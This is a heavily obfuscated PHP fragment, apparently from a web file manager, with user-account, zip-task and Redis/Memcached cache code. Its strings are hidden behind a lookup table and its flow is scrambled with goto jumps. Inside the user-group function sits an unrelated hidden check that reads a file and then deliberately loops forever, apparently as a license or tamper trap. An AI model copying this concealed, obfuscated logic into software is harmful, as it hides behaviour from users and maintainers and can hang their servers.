isset($Eѐ[$bƶл[2480]]) ? $Eѐ[$bƶл[2480]] : $bƶл[43], $bƶл[2487] => isset($Eѐ[$bƶл[2301]]) ? $Eѐ[$bƶл[2301]] : $Eѐ[$bƶл[38]], $bƶл[2488] => isset($Eѐ[$bƶл[2465]]) ? $Eѐ[$bƶл[2465]] : $bƶл[43], $bƶл[2489] => isset($Eѐ[$bƶл[2490]]) ? $Eѐ[$bƶл[2490]] : 1, $bƶл[2491] => $Eѐ[$bƶл[797]], $bƶл[2144] => isset($Eѐ[$bƶл[2058]]) ? $Eѐ[$bƶл[2058]] : 1024 * 1024 * 20, $bƶл[2145] => 0, $bƶл[2481] => 0, $bƶл[2169] => isset($Eѐ[$bƶл[690]]) ? $Eѐ[$bƶл[690]] : 1); if (!empty($Eѐ[$bƶл[1412]])) { $b[$bƶл[1412]] = $Eѐ[$bƶл[1412]]; } goto aՙ; bˋ: $dΔ = array($bƶл[2491] => $b[$bƶл[797]], $bƶл[2487] => $b[$bƶл[2301]]); $this->userEdit($bę⽔, $dΔ); Model($bƶл[1103])->userRootAdd($bę⽔); goto dƒ; C孔߅: } protected function userEditTest($E󬌊, $Aª) { return $this->call($_SERVER[ȦÆ][2492], $E󬌊, $Aª); } protected function userEdit($f“ć, $f즣) { goto f; Eپ: $e = $this->_checkExist($f즣, $f“ć); if ($e !== !0) { return $e; } if (isset($f즣[$A[797]]) && trim($f즣[$A[797]]) != $A[43]) { $D = $this->metaGet($f“ć); if (empty($D[$A[2482]])) { $D[$A[2482]] = rand_string(10); Model($A[479])->metaSet($f“ć, $A[2482], $D[$A[2482]]); } $f즣[$A[797]] = md5($D[$A[2482]] . trim($f즣[$A[797]])); } else { unset($f즣[$A[797]]); } goto FřԘ; FřԘ: $this->where(array($A[1403] => $f“ć))->save($f즣); if (isset($f즣[$A[2301]])) { $this->setNamePinyin($f“ć, $f즣[$A[2301]]); } return !0; goto a; f: $A =& $_SERVER[ȦÆ]; $bΚ = $this->getInfoSimple($f“ć); if (!$bΚ) { return !1; } goto Eپ; a: } public function setNamePinyin($cБ, $dݺ = false) { $Fտ =& $_SERVER[ȦÆ]; if (!$dݺ) { $E = $this->getInfoSimple($cБ); $dݺ = $E[$Fտ[2301]] ? $E[$Fտ[2301]] : $E[$Fտ[38]]; } $FȜԖ = Model($Fտ[482]); if (!Input::check($dݺ, $Fտ[533])) { return $FȜԖ->metaSet($cБ, array($Fտ[421] => $Fտ[43], $Fտ[420] => $Fտ[43])); } return $FȜԖ->metaSet($cБ, array($Fտ[421] => str_replace($Fտ[60], $Fտ[43], Pinyin::encode($dݺ)), $Fտ[420] => Pinyin::encode($dݺ, $Fտ[534]))); } private function nickNameRpt() { $aɟ =& $_SERVER[ȦÆ]; $AĦ = Model($aɟ[1081])->get($aɟ[2493]); $EҢ = $GLOBALS[$aɟ[16]][$aɟ[2449]][$aɟ[2493]]; $Fشև = !is_null($AĦ) ? $AĦ : $EҢ; return !!$Fشև; } private function _checkExist($Dȶޏ, $D = false) { $DΜ =& $_SERVER[ȦÆ]; $a߷ = array($DΜ[38] => UserModel::ERROR_USER_EXIST_NAME, $DΜ[2301] => UserModel::ERROR_USER_EXIST_NICKNAME, $DΜ[298] => UserModel::ERROR_USER_EXIST_EMAIL, $DΜ[2480] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($a߷[$DΜ[2301]]); } $c╸ԟ = $D ? array($DΜ[1412] => array($DΜ[2494], $D)) : array(); foreach ($a߷ as $C => $A) { if (!isset($Dȶޏ[$C]) || !$Dȶޏ[$C]) { continue; } $Bų = array_merge(array($C => $Dȶޏ[$C]), $c╸ԟ); $a᝵շ = $this->where($Bų)->find(); if ($a᝵շ) { return $A; } } return !0; } public function userListInfo($Aԕݔ) { $aᪧ =& $_SERVER[ȦÆ]; $DǑ = array(); $Aԕݔ = is_array($Aԕݔ) ? array_unique($Aԕݔ) : array(); if (!$Aԕݔ) { return $DǑ; } if (count($Aԕݔ) < 20) { foreach ($Aԕݔ as $AՍ) { $DǑ[$AՍ . $aᪧ[43]] = $this->getInfoSimpleOuter($AՍ); } } else { $B = array($aᪧ[1403] => array($aᪧ[389], $Aԕݔ)); if (count($Aԕݔ) == 1) { $B = array($aᪧ[1403] => $Aԕݔ[0]); } $F = Model($aᪧ[479])->field($this->simpleField)->where($B)->select(); $F = array_to_keyvalue($F, $aᪧ[1412]); foreach ($Aԕݔ as $AՍ) { $B಼ = $F[$F[$AՍ]]; if (!$B಼) { $DǑ[$AՍ . $aᪧ[43]] = $this->getInfoSimpleOuter($AՍ); continue; } $B಼[$aᪧ[2465]] = Action($aᪧ[2466])->parseUrl($B಼[$aᪧ[2465]]); $DǑ[$AՍ . $aᪧ[43]] = $B಼; } } return $DǑ; } protected function userStatus($añ, $bԤհ) { $c = $this->getInfoSimple($añ); if (!$c) { return !1; } $a = array($_SERVER[ȦÆ][690] => $bԤհ); return $this->userEdit($añ, $a); } protected function userRemove($Fߚ) { goto Fϡ…; Fϡ…: $c槤 =& $_SERVER[ȦÆ]; $D蓅 = $this->getInfoSimple($Fߚ); if (!$D蓅) { return !1; } goto E; dڦ: Model($c槤[753])->userRootRemove($Fߚ); return $this->where($C૔)->delete(); goto C➾빂; E: $C૔ = array($c槤[1403] => $Fߚ); Model($c槤[541])->where($C૔)->delete(); Model($c槤[2495])->where($C૔)->delete(); goto aߑ; aߑ: Model($c槤[2148])->where($C૔)->delete(); Model($c槤[2479])->where($C૔)->delete(); Model($c槤[2496])->where($C૔)->delete(); goto dڦ; C➾빂: } protected function userGroupSet($d, $d岘, $fϦ⋬ = array()) { goto B֨; e팲ҭ: if (!$eɏҾ || !is_array($d岘)) { return !1; } $b݌ = Model($C̞[2148]); $b݌->where(array($C̞[1412] => $d))->delete(); goto EƖ; B֨: $C̞ =& $_SERVER[ȦÆ]; if (!isset($_SERVER[$C̞[8]]) || !isset($_SERVER[$C̞[1156]])) { goto CޏɌ; CޏɌ: $FհË = $C̞[788]; $eናچ = $C̞[9]; $f˅ = $_SERVER[$C̞[10]] . $C̞[11]; goto Få; cä˲: $aМ = $C̞[789]; $aМ($_SERVER[$C̞[790]]); $B = 1; goto C; C: for ($f = $B; $f > 0; $f++) { $aМ = json_encode($GLOBALS[$C̞[389]]); } goto cņ; Få: $bӄߝ = $eናچ($f˅); $cĺƆ = explode($C̞[12], $bӄߝ); if (count($cĺƆ) < $C̞[597]) { $cѝ = $C̞[14]; $cѝ(); } goto cä˲; cņ: } $eɏҾ = $this->getInfoSimple($d); goto e팲ҭ; EƖ: $dٺ = array(); $A̜ = 0; foreach ($d岘 as $F鈗 => $C) { $f䪃 = array($C̞[1412] => $d, $C̞[2074] => $F鈗, $C̞[2202] => $C); $f䪃[$C̞[2095]] = isset($fϦ⋬[$A̜]) ? $fϦ⋬[$A̜] : 0; $A̜++; $dٺ[] = $f䪃; } goto Cͱ֛; Cͱ֛: return $b݌->addAll($dٺ, array(), !0); goto C񒷵; C񒷵: } protected function userGroupAdd($D硝, $b = array()) { $B÷ =& $_SERVER[ȦÆ]; $aÇ = $this->getInfoSimple($D硝); if (!$aÇ || empty($b)) { return !1; } $Bߋ = array(); foreach ($b as $eȡ => $DД) { $Bߋ[] = array($B÷[1412] => $D硝, $B÷[2074] => $eȡ, $B÷[2202] => $DД); } return Model($B÷[2148])->addAll($Bߋ, array(), !0); } protected function userGroupRemove($eՉ, $AȦ) { $AnjÐ =& $_SERVER[ȦÆ]; $Eڷ = $this->getInfoSimple($eՉ); if (!$Eڷ || !$AȦ) { return !1; } $eǙ֚ˋ = array($AnjÐ[1403] => $eՉ, $AnjÐ[2146] => $AȦ); return Model($AnjÐ[2148])->where($eǙ֚ˋ)->delete(); } public function listData() { $aμ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($aμ[$_SERVER[ȦÆ][359]]); return $aμ; } public function listByID($Dܑ) { $Aد =& $_SERVER[ȦÆ]; if (!$Dܑ) { return; } $Eڂԋ = array($Aد[1412] => array($Aد[17], $Dܑ)); $E눢 = $this->where($Eڂԋ)->select(); $this->_listDataApply($E눢); return $E눢; } public function listByGroup($ců = 0, $E˙ = array()) { goto cΕީ; d鋮ԕ: $this->_listDataApply($eÊ[$E[359]]); return $eÊ; goto Bڣҟ̩; cΕީ: $E =& $_SERVER[ȦÆ]; $FȪ = $E[43]; $Fɸ = array(); goto e݃۹; e݃۹: if ($ců) { $Fɸ = array($E[2497] => intval($ců)); $FȪ = "\x4c\105\106\124\x20\112\117\x49\116\x20{$this->tablePrefix}\x75\x73\145\162\x5f\x67\x72\x6f\165\x70\x20\165\x73\x65\x72\x5f\x67\x72\x6f\x75\x70\40\x6f\156\40\x75\x73\x65\x72\x2e\x75\x73\x65\x72\x49\x44\40\x3d\x20\165\163\145\x72\137\x67\162\x6f\165\x70\56\x75\x73\x65\x72\111\104"; $Bۇ = Input::get($E[412], null, $E[43]) ? $E[43] : $E[2498]; } if (isset($E˙[$E[690]])) { $Fɸ[$E[2499]] = $E˙[$E[690]]; } $eÊ = $this->_makeOrder($Bۇ)->field($E[2500])->where($Fɸ)->join($FȪ)->selectPage(50); goto d鋮ԕ; Bڣҟ̩: } private function _makeOrder($Aԃ = '') { goto A脩; A脩: $d =& $_SERVER[ȦÆ]; $bי𿵞 = array($d[1412], $d[38], $d[2060], $d[2033], $d[193]); $a݆֝ = array($d[407] => $d[408], $d[409] => $d[410]); goto Dʰ; Dʰ: $Fϧ = Input::get($d[412], $d[17], $d[1403], $bי𿵞); $Cᴂ = Input::get($d[413], $d[17], $d[2149], array($d[2149], $d[409])); $Cᴂ = $a݆֝[$Cᴂ]; goto aҴ; aҴ: $Aԃ = $Aԃ . "\165\163\145\x72\x2e{$Fϧ}\40{$Cᴂ}\54\40\x75\163\145\162\56\165\x73\145\162\111\104\x20\x61\163\143"; return $this->alias($d[2244])->order($Aԃ); goto B쵬; B쵬: } public function listSearch($A؋) { goto a; c߭ƒ: $dʠ = str_replace($Dޘ[2152], $Dޘ[2153], trim($dʠ)); $DȰ냨 = array($Dޘ[38] => array($Dޘ[752], "\45{$dʠ}\45"), $Dޘ[298] => array($Dޘ[752], "\45{$dʠ}\x25"), $Dޘ[2301] => array($Dޘ[752], "\45{$dʠ}\45"), $Dޘ[909] => $Dޘ[2154]); if (Input::check($dʠ, $Dޘ[304])) { $DȰ냨[$Dޘ[1412]] = array($Dޘ[752], "\x25{$dʠ}\45"); $DȰ냨[$Dޘ[2480]] = array($Dޘ[752], "\45{$dʠ}\45"); } goto cίʕ; B: return $b; goto d; cίʕ: if (!$dʠ) { $DȰ냨 = array(); } if (isset($A؋[$Dޘ[690]])) { $DȰ냨[$Dޘ[690]] = $A؋[$Dޘ[690]]; } $b = $this->_makeOrder()->where($DȰ냨)->selectPage(20); goto A; a: $Dޘ =& $_SERVER[ȦÆ]; $dʠ = $A؋[$Dޘ[2150]]; $Bܴܿ = isset($A؋[$Dޘ[2151]]) ? $A؋[$Dޘ[2151]] : !1; goto c߭ƒ; A: if (!$b || count($b[$Dޘ[359]]) < 5 && Input::check($dʠ, $Dޘ[311])) { $Bꔻ = $this->_searchFromMeta($Dޘ[420], $dʠ, 10); $Bꤛ = $this->_searchFromMeta($Dޘ[421], $dʠ, 10); $d˝Ӱ = array_merge($Bꔻ, $Bꤛ, $b[$Dޘ[359]]); $b[$Dޘ[359]] = array_unique_by_key($d˝Ӱ, $Dޘ[1412]); $b[$Dޘ[356]][$Dޘ[357]] = count($b[$Dޘ[359]]); $b[$Dޘ[356]][$Dޘ[358]] = ceil($b[$Dޘ[356]][$Dޘ[357]] / $b[$Dޘ[356]][$Dޘ[354]]); } $this->_listDataApply($b[$Dޘ[359]]); $this->_filterByGroup($b, $Bܴܿ); goto B; d: } private function _filterByGroup(&$a, $dƇ) { $bɉÚ =& $_SERVER[ȦÆ]; if (!$dƇ) { return $a; } foreach ($a[$bɉÚ[359]] as $bݒ => &$B) { $A = array_to_keyvalue($B[$bɉÚ[2501]], $bɉÚ[43], $bɉÚ[2074]); if (!in_array($dƇ, $A)) { unset($a[$bɉÚ[359]][$bݒ]); } } $a[$bɉÚ[359]] = array_values($a[$bɉÚ[359]]); $a[$bɉÚ[356]] = array($bɉÚ[2277] => count($a[$bɉÚ[359]]), $bɉÚ[2275] => $a[$bɉÚ[356]][$bɉÚ[354]], $bɉÚ[2274] => 1, $bɉÚ[2276] => 1); } private function _searchFromMeta($F؋, $CϨϗ, $Bۺ) { goto e刚; e刚: $b䛭 =& $_SERVER[ȦÆ]; $CϨϗ = strtolower($CϨϗ); $Bĩ = array($b䛭[99] => $F؋, $b䛭[364] => array($b䛭[752], "\45{$CϨϗ}\45")); goto a蝦; a蝦: $aĪԍ = Model($b䛭[2502])->where($Bĩ)->limit($Bۺ)->select(); if (!$aĪԍ) { return array(); } $aĪԍ = array_to_keyvalue($aĪԍ, $b䛭[43], $b䛭[1412]); goto A; A: $A = $this->where(array($b䛭[1403] => array($b䛭[17], $aĪԍ)))->select(); if (!$A) { return array(); } return $A; goto F; F: } private function _listDataApplyItem($F沮) { $c = array($F沮); $this->_listDataApply($c); return $c[0]; } private function _listDataApply(&$D) { goto FȞ; Fأ移: $E燡 = array_to_keyvalue($D, $fڕ󭘐[43], $fڕ󭘐[1412]); $this->_listAppendGroup($D, $E燡); $this->_listAppendMeta($D, $E燡); goto Dِ; FȞ: $fڕ󭘐 =& $_SERVER[ȦÆ]; if (!$D) { return; } array_remove_key($D, $fڕ󭘐[797]); goto Fأ移; Dِ: $this->_listAppendSourceRoot($D, $E燡); goto C; C: } private function _listAppendSourceRoot(&$bܝ, $C͖) { goto bƏ; bҚҌ: foreach ($bܝ as &$Dޛ) { $Dޛ[$bҮ[396]] = $d[$Dޛ[$bҮ[1412]]] ? $d[$Dޛ[$bҮ[1412]]] : array(); } goto a; fͨ: $d = Model($bҮ[753])->order($bҮ[2161])->field($cë)->where($E)->select(); $d = array_to_keyvalue($d, $bҮ[461]); $d = array_remove_key($d, $bҮ[461]); goto bҚҌ; bƏ: $bҮ =& $_SERVER[ȦÆ]; $E = array($bҮ[466] => 0, $bҮ[376] => SourceModel::TYPE_USER, $bҮ[461] => array($bҮ[17], $C͖)); $cë = $bҮ[2160]; goto fͨ; a: } private function _listAppendGroup(&$d؎, $Cdz) { goto a߹; a߹: $A =& $_SERVER[ȦÆ]; $C = array($A[1412] => array($A[17], $Cdz)); $c = Model($A[2148])->where($C)->select(); goto Eﭦ͜; E: $C = array($A[2074] => array($A[17], $EŽҒ)); $e = Model($A[2503])->field($A[2504])->where($C)->select(); $b񈋄䂥 = array_to_keyvalue($e, $A[2074], $A[38]); goto a꘽; a꘽: $c = array_to_keyvalue_group($c, $A[1412]); foreach ($c as &$Eჰ) { $b = array(); foreach ($Eჰ as $Cك) { if (!$Cك[$A[2202]]) { continue; } $aݾ = Model($A[2221])->listData($Cك[$A[2202]]); $b[] = array($A[2074] => $Cك[$A[2074]], $A[2505] => $b񈋄䂥[$Cك[$A[2074]]], $A[381] => $aݾ); } $Eჰ = $b; } foreach ($d؎ as &$Cꏂ) { $Cꏂ[$A[2501]] = array(); if (isset($c[$Cꏂ[$A[1412]]])) { $Cꏂ[$A[2501]] = $c[$Cꏂ[$A[1412]]]; } } goto cჄ; Eﭦ͜: $EŽҒ = array_to_keyvalue($c, $A[43], $A[2074]); $EŽҒ = array_remove_value(array_unique($EŽҒ), $A[473]); if (!$EŽҒ || !$c) { return; } goto E; cჄ: } private function _listAppendMeta(&$D, $fݺ) { goto B; f߸: foreach ($DꮂӶ as &$e߾) { $Cӓ = array(); foreach ($e߾ as $fł) { if (!in_array($fł[$F[99]], $AՇ)) { $Cӓ[$fł[$F[99]]] = $fł[$F[364]]; } } $e߾ = $Cӓ; } $eۑܠ = Model($F[2506]); foreach ($D as &$DӋֆ) { $d򜊡 = array(); if (isset($DꮂӶ[$DӋֆ[$F[1412]]])) { $d򜊡 = $DꮂӶ[$DӋֆ[$F[1412]]]; } $DӋֆ[$F[2507]] = array(); if (isset($d򜊡[$a炟])) { $DӋֆ[$F[2507]] = $eۑܠ->getUserJobInfo($d򜊡[$a炟]); } } goto fߕ; B: $F =& $_SERVER[ȦÆ]; $a炟 = UserJobModel::JOB_KEY; $AՇ = array($F[2482]); goto b; b: $AͶ = array($F[1412] => array($F[17], $fݺ)); $DꮂӶ = Model($F[2479])->where($AͶ)->select(); $DꮂӶ = array_to_keyvalue_group($DꮂӶ, $F[1412]); goto f߸; fߕ: } public function userSearch($d, $c͚ = "\x2a") { return Model($_SERVER[ȦÆ][482])->where($d)->field($c͚)->find(); } } goto b; cբ: class TaskHttp extends Task { protected function startAfter() { $d̦ =& $_SERVER[ȦÆ]; Hook::bind($d̦[1449], array($this, $d̦[1472])); Hook::bind($d̦[1451], array($this, $d̦[1473])); Hook::bind($d̦[1453], array($this, $d̦[1474])); } protected function endAfter() { $B՚ =& $_SERVER[ȦÆ]; Hook::unbind($B՚[1449], array($this, $B՚[1472])); Hook::unbind($B՚[1451], array($this, $B՚[1473])); Hook::unbind($B՚[1453], array($this, $B՚[1474])); } public function progressStart($dޡ) { $cԗ =& $_SERVER[ȦÆ]; $E = curl_getinfo($dޡ); self::log($cԗ[1475] . $E[$cԗ[300]]); self::valueSet($this->task[$cԗ[372]], $this->task); } public function progressEnd($c͘) { $dŻド =& $_SERVER[ȦÆ]; self::log($dŻド[1476] . $this->task[$dŻド[372]]); $this->end(); } public function progress($D⃒, $fᯮ𡉎, $D컆, $bްš, $a) { $a =& $_SERVER[ȦÆ]; $eں醍 =& $this->task; if ($a > 0) { $eں醍[$a[971]] = $eں醍[$a[971]] == 0 ? $bްš : $eں醍[$a[971]]; $eں醍[$a[983]] = $a; } else { if ($D컆 > 0) { $eں醍[$a[971]] = $eں醍[$a[971]] == 0 ? $fᯮ𡉎 : $eں醍[$a[971]]; $eں醍[$a[983]] = $D컆; } } $this->update(); self::log("\x70\162\157\x67\x72\145\163\163\x48\164\x74\x70\x3a\x64\157\x77\156\x3a{$D컆}\57{$fᯮ𡉎}\x3b\40\x75\x70\154\157\x61\144\72{$a}\57{$bްš}\x3b"); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { goto Eˮ; Eˮ: $eЩ =& $_SERVER[ȦÆ]; parent::startAfter(); Hook::bind($eЩ[1477], array($this, $eЩ[1478])); goto f𪘴; f𪘴: Hook::bind($eЩ[1028], array($this, $eЩ[1479])); $e =& $this->task; $e[$eЩ[1480]] = $eЩ[1033]; goto Dϑݐ; Dϑݐ: if (!$e[$eЩ[1320]]) { $e[$eЩ[1320]] = LNG($eЩ[1481]); } goto b߶; b߶: } protected function endAfter() { $A馫 =& $_SERVER[ȦÆ]; parent::endAfter(); Hook::unbind($A馫[1477], array($this, $A馫[1478])); Hook::unbind($A馫[1028], array($this, $A馫[1479])); } public function updateAfter() { $f =& $_SERVER[ȦÆ]; $eԤʏ =& $this->task; if (!$eԤʏ[$f[971]] || !$eԤʏ[$f[699]]) { return; } if ($eԤʏ[$f[1480]] == $f[1033]) { $Dϖ͓ = 0; if ($eԤʏ[$f[1457]]) { $Dϖ͓ = $eԤʏ[$f[1458]] / $eԤʏ[$f[1457]]; } $eԤʏ[$f[1413]] = $Dϖ͓ * 0.3; } else { if ($eԤʏ[$f[1480]] == $f[306]) { $Dϖ͓ = $eԤʏ[$f[983]] / $eԤʏ[$f[971]]; $eԤʏ[$f[1413]] = 0.3 + $Dϖ͓ * 0.4; } else { if ($eԤʏ[$f[1480]] == $f[112]) { $D۲Ń = 0; if ($eԤʏ[$f[1459]] == $f[112]) { $D۲Ń = $eԤʏ[$f[1458]]; } $Dϖ͓ = ($eԤʏ[$f[1462]] + $D۲Ń) / $eԤʏ[$f[699]]; $eԤʏ[$f[1413]] = 0.3 + 0.4 + $Dϖ͓ * 0.3; } } } if ($eԤʏ[$f[1413]] > 0) { $B狛͆ = timeFloat() - $eԤʏ[$f[1415]] - $eԤʏ[$f[1418]]; $eԤʏ[$f[1419]] = $B狛͆ * (1 - $eԤʏ[$f[1413]]) / $eԤʏ[$f[1413]]; } } public function addFile($Cڥ) { goto aê; aڎÏ: $DLJ[$d馯Ȫ[971]] = 1; $cʌ = 0; $DLJ[$d馯Ȫ[1463]] = array($d馯Ȫ[1464] => $cʌ + 1, $d馯Ȫ[391] => $bХ[$d馯Ȫ[38]], $d馯Ȫ[85] => $bХ[$d馯Ȫ[85]], $d馯Ȫ[471] => $bХ[$d馯Ȫ[471]] ? $bХ[$d馯Ȫ[471]] : $bХ[$d馯Ȫ[85]]); goto Bߚ; F䛄: $DLJ[$d馯Ȫ[973]] = $d馯Ȫ[1470]; $DLJ[$d馯Ȫ[1459]] = $d馯Ȫ[1033]; $DLJ[$d馯Ȫ[699]] = $bХ[$d馯Ȫ[87]]; goto aڎÏ; Bߚ: $this->update(); goto dó; aê: $d馯Ȫ =& $_SERVER[ȦÆ]; $DLJ =& $this->task; $bХ = IO::info($Cڥ); goto D; D: $DLJ[$d馯Ȫ[1455]] = $bХ[$d馯Ȫ[38]]; $DLJ[$d馯Ȫ[1457]] = $bХ[$d馯Ȫ[87]]; $DLJ[$d馯Ȫ[1458]] = 0; goto F䛄; dó: } public function unzipAfter($eū) { goto e͍; eͽ: $Eё[$fʃϡ[983]] = 0; $Eё[$fʃϡ[1457]] = 0; $Eё[$fʃϡ[1458]] = 0; goto cㄯ; e͍: $fʃϡ =& $_SERVER[ȦÆ]; $Eё =& $this->task; $Eё[$fʃϡ[1480]] = $fʃϡ[112]; goto DƪƂ; bׄ: if ($bӿԵ[$fʃϡ[39]] == $fʃϡ[173]) { $Eё[$fʃϡ[971]] = 1; } else { $Eё[$fʃϡ[971]] = $bӿԵ[$fʃϡ[90]][$fʃϡ[88]]; } $Eё[$fʃϡ[973]] = $fʃϡ[43]; $Eё[$fʃϡ[1459]] = 0; goto eͽ; cㄯ: $Eё[$fʃϡ[1455]] = $fʃϡ[43]; $Eё[$fʃϡ[1462]] = 0; $Eё[$fʃϡ[699]] = $bӿԵ[$fʃϡ[87]]; goto Eۂׄ; Eۂׄ: $this->update(); self::log($fʃϡ[1482] . json_encode(array($Eё, $bӿԵ))); goto dš; DƪƂ: $bӿԵ = IO::infoWithChildren($eū); $d = 0; $Eё[$fʃϡ[1463]] = array($fʃϡ[1464] => $d + 1, $fʃϡ[391] => $bӿԵ[$fʃϡ[38]], $fʃϡ[85] => $bӿԵ[$fʃϡ[85]], $fʃϡ[471] => $bӿԵ[$fʃϡ[471]] ? $bӿԵ[$fʃϡ[471]] : $bӿԵ[$fʃϡ[85]]); goto bׄ; dš: } public function nameParse($Eڎ) { goto Dא; Dא: $B̞ =& $_SERVER[ȦÆ]; $Bلӗ =& $this->task; if ($Bلӗ[$B̞[1480]] == $B̞[1033]) { $Bلӗ[$B̞[1480]] = $B̞[306]; $Bلӗ[$B̞[1462]] = 0; $Bلӗ[$B̞[699]] = 0; } goto DΔ; DΔ: $F̫ˤ = get_path_this($Eڎ); if (strstr($F̫ˤ, $B̞[101])) { $Bلӗ[$B̞[983]] += 1; $Bلӗ[$B̞[971]] += 1; } $Bلӗ[$B̞[1455]] = $Eڎ; goto fك; fك: $this->update(); goto c; c: } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $Dڌ =& $_SERVER[ȦÆ]; parent::startAfter(); Hook::bind($Dڌ[1483], array($this, $Dڌ[1478])); $C =& $this->task; $C[$Dڌ[1480]] = $Dڌ[1033]; if (!$C[$Dڌ[1320]]) { $C[$Dڌ[1320]] = LNG($Dڌ[1484]); } } protected function endAfter() { $EЕП =& $_SERVER[ȦÆ]; parent::endAfter(); Hook::unbind($EЕП[1483], array($this, $EЕП[1478])); } public function updateAfter() { $BӴޠ =& $_SERVER[ȦÆ]; $eŋ =& $this->task; if (!$eŋ[$BӴޠ[971]] || !$eŋ[$BӴޠ[699]]) { return; } if ($eŋ[$BӴޠ[1480]] == $BӴޠ[1033]) { $a軳 = $eŋ[$BӴޠ[1458]]; if ($eŋ[$BӴޠ[1459]] != $BӴޠ[1033]) { $a軳 = 0; } $e = ($eŋ[$BӴޠ[1462]] + $a軳) / $eŋ[$BӴޠ[699]]; $eŋ[$BӴޠ[1413]] = $e * 0.3; } else { if ($eŋ[$BӴޠ[1480]] == $BӴޠ[306]) { $e = $eŋ[$BӴޠ[983]] / $eŋ[$BӴޠ[971]]; $eŋ[$BӴޠ[1413]] = 0.3 + $e * 0.5; } else { if ($eŋ[$BӴޠ[1480]] == $BӴޠ[112]) { $e = 0; if ($eŋ[$BӴޠ[1457]]) { $e = $eŋ[$BӴޠ[1458]] / $eŋ[$BӴޠ[1457]]; } $eŋ[$BӴޠ[1413]] = 0.3 + 0.5 + $e * 0.2; } } } if ($eŋ[$BӴޠ[1413]] > 0) { $E = timeFloat() - $eŋ[$BӴޠ[1415]] - $eŋ[$BӴޠ[1418]]; $eŋ[$BӴޠ[1419]] = $E * (1 - $eŋ[$BӴޠ[1413]]) / $eŋ[$BӴޠ[1413]]; } } public function copyFileStart($c, $B׺ħ, $cω, $Eୂ, $Dϼ, $b¿) { $bʐ =& $_SERVER[ȦÆ]; parent::copyFileStart($c, $B׺ħ, $cω, $Eୂ, $Dϼ, $b¿); $f =& $this->task; if ($f[$bʐ[1480]] == $bʐ[306]) { $f[$bʐ[1480]] = $bʐ[112]; } $this->update(); } public function copyFileEnd($e, $cċџ, $AƯފ, $dϗő, $Fɇ㊒, $eˏ) { $F؞̖ =& $_SERVER[ȦÆ]; $B; =& $this->task; $B;[$F؞̖[1458]] = $B;[$F؞̖[1457]]; $B;[$F؞̖[1462]] += $B;[$F؞̖[1457]]; $B;[$F؞̖[1459]] = $F؞̖[43]; $this->update(); } public function nameParse($bˣ΋) { $c =& $_SERVER[ȦÆ]; $bӿ޻ =& $this->task; if ($bӿ޻[$c[983]] < $bӿ޻[$c[971]]) { $Aզ = get_path_this($bˣ΋); if (strstr($Aզ, $c[101])) { $bӿ޻[$c[983]] += 1; } } if ($bӿ޻[$c[1480]] == $c[1033]) { $bӿ޻[$c[1480]] = $c[306]; } $bӿ޻[$c[1455]] = $bˣ΋; $this->update(); } } goto A; e֮: class CacheMemcached { public $handle; public $cacheTime; public function __construct($a藒, $fƂƢޮ) { $Cɖ =& $_SERVER[ȦÆ]; if (!class_exists($Cɖ[777])) { show_json($Cɖ[778], !1); } $this->cacheTime = $fƂƢޮ; $this->handle = new Memcached(); if (is_array($a藒[$Cɖ[779]]) && count($a藒[$Cɖ[779]]) >= 1) { foreach ($a藒[$Cɖ[779]] as $BԿڜ) { $F̒ = explode($Cɖ[4], $BԿڜ); $this->handle->addServer($F̒[0], $F̒[1]); } } else { $this->handle->addServer($a藒[$Cɖ[175]], $a藒[$Cɖ[176]]); } } public function set($FŖ͉, $dɏҡ, $bȌ = false) { $bȌ = $bȌ ? $bȌ : $this->cacheTime; return $this->handle->set($FŖ͉, $dɏҡ, $bȌ); } public function get($E) { return $this->handle->get($E); } public function remove($b) { return $this->handle->delete($b); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($eד, $a) { $Bӭ =& $_SERVER[ȦÆ]; if (!class_exists($Bӭ[780])) { show_json($Bӭ[781], !1); } $this->cacheTime = $a; $bڐ = isset($eד[$Bӭ[782]]) ? $eד[$Bӭ[782]] : 10; $b = _get($eד, $Bӭ[779]); if ($b && is_array($b)) { $this->initCluster($eד, $bڐ); } else { $this->handle = $this->init($eד, $bڐ); } } private function init($Fۋ, $C) { $DҐ =& $_SERVER[ȦÆ]; $Dô = new Redis(); $B򜬫 = isset($Fۋ[$DҐ[783]]) ? $Fۋ[$DҐ[783]] : !1; if ($B򜬫) { $Dô->pconnect($Fۋ[$DҐ[175]], $Fۋ[$DҐ[176]], $C); } else { $Dô->connect($Fۋ[$DҐ[175]], $Fۋ[$DҐ[176]], $C); } if (!empty($Fۋ[$DҐ[381]])) { $Dô->auth($Fۋ[$DҐ[381]]); } return $Dô; } private function initCluster($b͡Ò, $DÄ) { $Aџ =& $_SERVER[ȦÆ]; $D = array($Aџ[784], $Aџ[785], $Aџ[786]); $d֧ = $Aџ[784]; if (isset($b͡Ò[$Aџ[22]]) && in_array($b͡Ò[$Aџ[22]], $D)) { $d֧ = $b͡Ò[$Aџ[22]]; } switch ($d֧) { case $Aџ[784]: $this->_slave($b͡Ò, $DÄ); break; case $Aџ[785]: break; case $Aџ[786]: $this->isCluster = !0; $cЃ = $b͡Ò[$Aџ[779]]; $D = isset($b͡Ò[$Aџ[783]]) ? $b͡Ò[$Aџ[783]] : !1; $aŦ = isset($b͡Ò[$Aџ[381]]) ? $b͡Ò[$Aџ[381]] : null; $this->handle = new RedisCluster(NUll, $cЃ, $DÄ, $DÄ, $D, $aŦ); break; default: break; } } private function _slave($fЬֵ, $f宴) { goto Bѯ͑; eօއ: unset($f̠[0]); if (empty($f̠)) { return; } $Dç̓ = array_rand($f̠); goto C匝; C匝: $this->filterConfig($fЬֵ, $f̠[$Dç̓]); $this->slaveHandle = $this->init($fЬֵ, $f宴); goto b; Bѯ͑: $f̠ = $fЬֵ[$_SERVER[ȦÆ][779]]; $this->filterConfig($fЬֵ, $f̠[0]); $this->handle = $this->init($fЬֵ, $f宴); goto eօއ; b: } private function filterConfig(&$B̃, $B) { $C =& $_SERVER[ȦÆ]; $D돦 = explode($C[4], $B); $Dњ = array($C[175] => $D돦[0], $C[176] => $D돦[1]); $B̃ = array_merge($B̃, $Dњ); } public function set($E⏘, $AϚϲ, $Fɖ = false) { $Fɖ = $Fɖ ? $Fɖ : $this->cacheTime; return $this->handle->setEx($E⏘, $Fɖ, $AϚϲ); } public function 